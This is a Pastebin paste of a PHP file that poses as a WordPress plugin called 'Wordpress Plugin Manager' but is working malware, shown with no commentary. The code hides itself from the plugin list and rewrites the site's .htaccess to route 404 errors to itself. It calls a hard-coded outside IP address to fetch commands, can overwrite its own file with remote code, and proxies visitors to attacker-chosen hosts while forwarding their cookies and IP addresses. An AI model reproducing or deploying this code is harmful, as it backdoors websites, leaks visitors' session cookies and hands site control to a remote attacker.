Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Plugin Name: Wordpress Plugin Manager
- */
- function fourofour()
- {
- srand(1339142796);
- $tourl = 300;
- $tofile = 3600;
- $ver = 4;
- $u = "http://83.133.123.174/v.html?v=$ver&h=" . urlencode($_SERVER['HTTP_HOST']);
- @error_reporting(error_reporting()&~E_NOTICE);
- $cachedir = dirname(__FILE__) . "/.k";
- @mkdir($cachedir);
- $fn = $cachedir . "/" . md5(rand()*rand()*rand()*rand()+rand());
- $d = @file_get_contents($fn);
- if(!$d || !($s=@stat($fn)) || $s["mtime"]<time()-$tourl)
- {
- if($d = @file_get_contents($u))
- {
- // update
- if(preg_match('#^u:(.*)\s*$#s', $d, $m))
- {
- @file_put_contents(__FILE__, $m[1]);
- header("Location: $_SERVER[REQUEST_URI]"); // reload
- exit;
- }
- @file_put_contents($fn, $d);
- }
- }
- if($d)
- {
- $d = preg_split("/\r?\n/s", trim($d));
- srand((int)(microtime(true)*1000));
- shuffle($d);
- $d = array_pop($d);
- $d = sprintf($d, $t);
- $d = "http://$d";
- $selfdir = str_replace('\\', '/', dirname($_SERVER["SCRIPT_NAME"]));
- $path = preg_replace("#^" . $selfdir . "/#i", "", $_SERVER["REQUEST_URI"]);
- $path = preg_replace("#^/(wordpress)#", "", $path);
- $url = $d . $path;
- if($_SERVER["QUERY_STRING"])
- {
- $cachedir = 0;
- $url .= "?" . $_SERVER["QUERY_STRING"];
- }
- $cacheObj = false;
- $cachefn = $cachedir . "/" . md5(strtolower($path) . $ver);
- if($cachedir && ($s=@stat($fn)) && $s["mtime"]<time()-$tofile)
- {
- $cacheObj = @unserialize(@file_get_contents($cachefn));
- if($cacheObj)
- {
- $content = $cacheObj->content;
- if($cacheObj->contentType)
- header("Content-Type: $cacheObj->contentType");
- }
- }
- if(!$cacheObj)
- {
- $ctx = stream_context_create(array(
- "http"=>array(
- "method"=>"GET",
- "follow_location"=>0,
- "ignore_errors"=>1,
- "user_agent"=>$_SERVER["HTTP_USER_AGENT"] . "\r\nCookie: $_SERVER[HTTP_COOKIE]\r\n" . "Referer: $_SERVER[HTTP_REFERER]\r\n" . "X-Forwarded-For: $_SERVER[REMOTE_ADDR]",
- )));
- $content = @file_get_contents($url, false, $ctx);
- $cacheObj = new stdClass();
- $cacheObj->status = array_shift($http_response_header);
- foreach($http_response_header as $x)
- {
- list($n,$v)=explode(":", $x);
- switch(strtolower($n))
- {
- case "content-type":
- $cacheObj->contentType = $v;
- case "content-length":
- case "set-cookie":
- header($x);
- break;
- case "location":
- header($x);
- print $content;
- exit;
- case "no-cache":
- $cachedir = 0;
- break;
- }
- }
- if(substr($content, -2)=="c0")
- {
- $cachedir = 0;
- $content = substr($content, 0, -2);
- }
- if($cachedir)
- {
- @mkdir($cachedir);
- $cacheObj->content = $content;
- @file_put_contents($cachefn, serialize($cacheObj));
- }
- }
- header("HTTP/1.1 200 OK");
- header("Status: 200 OK");
- print $content;
- exit;
- }
- }
- function fourofour_pp($plugins)
- {
- foreach($plugins as $fn=>$p)
- if(basename($fn)==basename(__FILE__))
- unset($plugins[$fn]);
- return $plugins;
- }
- function fourofour_i()
- {
- $rparts = preg_split('#[/\\\\]#', preg_replace('#/+$#', '', $_SERVER['DOCUMENT_ROOT']));
- $parts = preg_split('#[/\\\\]#', dirname(__FILE__));
- $rel = array();
- $sdir = "";
- for($i=0; count($parts)>=count($rparts); $i++)
- {
- $dir = join($parts, "/");
- if(@file_exists("$dir/wp-settings.php"))
- {
- while(count($parts)>count($rparts))
- array_unshift($rel, array_pop($parts));
- $sdir = join("/", $rel);
- break;
- }
- $dir = $sdir = "";
- array_unshift($rel, array_pop($parts));
- }
- if($sdir)
- {
- $hta = trim(@file_get_contents("$dir/.htaccess"));
- if(!preg_match('#BEGIN\s*WordPress.*RewriteRule.*END#si', $hta) && !strpos($hta, basename(__FILE__)))
- {
- $ed = "\nErrorDocument 404 /$sdir/" . basename(__FILE__) . "\n";
- $hta = preg_replace('#(BEGIN\s*WordPress)#si', "\\1$ed", $hta);
- if(!strpos($hta, basename(__FILE__)))
- $hta .= "$ed";
- @file_put_contents("$dir/.htaccess", $hta);
- }
- }
- }
- fourofour_i();
- if(function_exists("add_action"))
- {
- add_action("404_template", "fourofour");
- }
- else
- {
- fourofour();
- }
- if(function_exists("add_filter"))
- add_filter("all_plugins", "fourofour_pp");
- return 1;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement